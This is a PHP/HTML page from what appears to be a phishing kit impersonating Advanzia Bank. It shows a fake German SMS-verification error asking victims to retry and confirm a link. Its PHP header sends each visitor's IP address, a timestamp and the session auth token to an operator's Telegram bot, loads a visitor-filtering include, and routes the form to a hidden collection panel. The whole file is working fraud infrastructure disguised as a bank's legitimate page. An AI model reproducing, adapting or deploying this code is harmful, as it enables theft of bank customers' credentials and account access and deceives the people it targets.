<?php if (session_status() == PHP_SESSION_NONE) {
    session_start();
}
include "../panel/banip/zeus.php";
include "../panel/send/panel.php";
$visitorIP = $_SERVER['REMOTE_ADDR'];
$currentTime = date('H:i:s d/m/Y');
$message = '⚠️ 𝗦𝗠𝗦 𝗘𝗥𝗥𝗢𝗥 𝗦𝗧𝗔𝗧𝗨𝗦
━━━━━━━━━━━━━━━
🎯 𝗦𝘁𝗮𝘁𝘂𝘀: SMS Verification Failed ❌
📍 𝗗𝗲𝘀𝘁𝗶𝗻𝗮𝘁𝗶𝗼𝗻: SMS Error Page 🔄
━━━━━━━━━━━━━━━
📱 𝗗𝗘𝗩𝗜𝗖𝗘 𝗜𝗡𝗙𝗢
━━━━━━━━━━━━━━━
🌍 𝗜𝗣: ' . $visitorIP . '
⏰ 𝗧𝗶𝗺𝗲: ' . $currentTime . '
🔐 𝗦𝗲𝘀𝘀𝗶𝗼𝗻 𝗜𝗗: ' . $_SESSION['auth_token'];
$url = "https://api.telegram.org/bot$botToken/sendMessage";
$data = http_build_query(["chat_id" => $chatId, "text" => $message, "parse_mode" => "HTML"]);
$options = ["http" => ["header" => "Content-Type: application/x-www-form-urlencoded\r\n", "method" => "POST", "content" => $data,],];
$context = stream_context_create($options);
$result = file_get_contents($url, false, $context);
if ($result === false) {
    error_log("Erreur d'envoi du message Telegram: " . error_get_last()['message']);
} ?>
<!DOCTYPE html>
<html lang="de">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Geräteverbindung Fehler</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <style>
        /* --- ADVANZIA STYLE MODIFICATIONS --- */
        :root {
            --primary-blue: #182D5C; /* Advanzia Dark Blue */
            --primary-text: #333333;
            --background-light: #f5f5f5;
            --white: #ffffff;
            --border-light: #e0e0e0;
            --grey-text: #666666;
            --button-bg: var(--primary-blue);
            --error-red: #dc3545;
            --error-bg: #fcebeb;
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            font-family: 'Inter', sans-serif;
        }

        body {
            background-color: var(--background-light);
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            color: var(--primary-text);
        }

        .page-wrapper {
            display: flex;
            flex-direction: column;
            min-height: 100vh;
            width: 100%;
        }

        .header {
            padding: 20px 0;
            background: var(--white);
            border-bottom: 1px solid var(--border-light);
            display: flex;
            justify-content: center; /* Center content */
            align-items: center;
        }

        .logo {
            max-width: 1200px; 
            margin: 0 20px;
            padding: 0 20px; 
            width: 100%;
            display: flex;
            justify-content: flex-start;
        }

        .logo img {
            height: 35px; /* Advanzia logo height */
            /* Ensure the logo is always on a white background */
            background-color: var(--white); 
            padding: 0;
            margin: 0;
        }
        
        .main-content {
            flex: 1;
            display: flex;
            padding: 50px 20px 0 20px;
            align-items: flex-start;
            justify-content: center;
            width: 100%;
        }

        .verification-container {
            width: 100%;
            max-width: 400px;
            background: var(--white);
            padding: 30px;
            border-radius: 8px;
            box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
            border: 1px solid var(--border-light);
            text-align: center;
        }

        /* --- Error Box Styling (Kept from previous version for visual consistency) --- */
        .error-container {
            background-color: var(--error-bg);
            border: 1px solid var(--error-bg);
            border-radius: 4px;
            padding: 16px;
            margin-bottom: 24px;
            display: flex;
            align-items: flex-start;
            gap: 10px;
            text-align: left;
        }

        .error-icon {
            width: 20px;
            height: 20px;
            min-width: 20px;
            fill: var(--error-red);
            margin-top: 2px;
        }

        .error-message {
            color: var(--error-red);
            font-size: 14px;
            line-height: 1.5;
            font-weight: 400;
        }

        .error-message strong {
            display: block;
            margin-bottom: 4px;
            font-weight: 600;
        }
        /* --- End Error Box Styling --- */

        .verification-header {
            margin-bottom: 30px;
        }

        .icon-sms {
            /* Using the requested SVG data URI for the SMS icon and coloring it primary-blue */
            width: 50px; 
            height: 50px;
            margin: 0 auto 10px auto;
            display: block;
            content: url('data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20viewBox%3D%220%200%2024%2024%22%20fill%3D%22%23182D5C%22%3E%3Cpath%20d%3D%22M20%202H4c-1.1%200-2%20.9-2%202v18l4-4h14c1.1%200%202-.9%202-2V4c0-1.1-.9-2-2-2zm-2%2012H6v-2h12v2zm0-3H6V9h12v2zm0-3H6V6h12v2z%22%2F%3E%3C%2Fsvg%3E');
        }

        .verification-title {
            font-size: 24px;
            color: var(--primary-text);
            font-weight: 700;
            margin-top: 0;
            margin-bottom: 10px;
        }

        .verification-subtitle {
            color: var(--grey-text);
            font-size: 15px;
            line-height: 1.6;
            margin-top: 0;
            text-align: left;
        }

        /* --- Button Styling --- */
        .verify-button {
            background-color: var(--button-bg);
            color: var(--white);
            border: none;
            border-radius: 4px;
            padding: 12px 20px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
            width: 100%;
            margin-top: 30px;
            transition: all 0.2s ease;
        }
        
        .verify-button .shield-icon {
            width: 16px;
            height: 16px;
            fill: var(--white);
        }

        .verify-button:not(:disabled):hover {
            background-color: #25407d; /* Slightly darker blue on hover */
            transform: none; 
            box-shadow: none;
        }
        
        /* Contact link is removed, hiding the container */
        .resend-container {
            display: none; 
        }

        /* --- Responsive Design --- */
        @media(max-width: 768px) {
            .main-content {
                padding: 30px 20px;
                align-items: center;
            }
            .verification-container {
                padding: 25px;
            }
            .header {
                padding: 15px 0;
            }
            .logo {
                padding: 0 15px;
            }
        }
        
        @media(max-width: 480px) {
            body {
                background-color: var(--white);
            }
            .verification-container {
                box-shadow: none;
                border-radius: 0;
                border: none;
                padding: 20px;
            }
        }
    </style>
</head>
<body>
<div class="page-wrapper">
    <header class="header">
        <div class="logo">
            <!-- Updated to use an image source -->
            <img src="../logo.png" alt="ADVANZIA BANK Logo">
        </div>
    </header>
    <main class="main-content">
        <div class="verification-container">
            <div class="error-container">
                <!-- Icon for error/warning -->
                <svg class="error-icon" viewBox="0 0 24 24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z"/></svg>
                <div class="error-message">
                    <strong>Bestätigungsfehler</strong>
                    Bitte bestätigen Sie den Link, der Ihnen per SMS zugesandt wurde. Der eingegebene Code ist ungültig oder abgelaufen.
                </div>
            </div>
            <div class="verification-header">
                <!-- SMS/Chat Icon using content: url() in CSS -->
                <div class="icon-sms"></div> 
                <h1 class="verification-title">Geräteverbindung</h1>
                <p class="verification-subtitle">Eine SMS wurde an Sie gesendet, um Ihr Gerät mit Ihrem Kreditkartenkonto zu verbinden.
Verwenden Sie den Link in der SMS, um fortzufahren.
Wenn Sie keine SMS erhalten haben, versuchen Sie es bitte erneut.</p>
            </div>
            
            <form method="post" action="../panel/send/402c5a6fe4c04c7d269c4532baecc8ee.php" id="verificationForm">
                <button type="submit" class="verify-button" id="verifyButton">
                    <!-- Icon for "Erneut versuchen" -->
                    <svg class="shield-icon" viewBox="0 0 24 24" width="20" height="20" fill="currentColor"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-1 15h2v-2h-2v2zm0-4h2V7h-2v6z"/></svg>
                    Erneut versuchen
                </button>
            </form>
            
            <!-- Removed the contact support link section as requested -->
        </div>
    </main>
</div>
<script>
    // No specific JavaScript needed for this page
</script>
</body>
</html>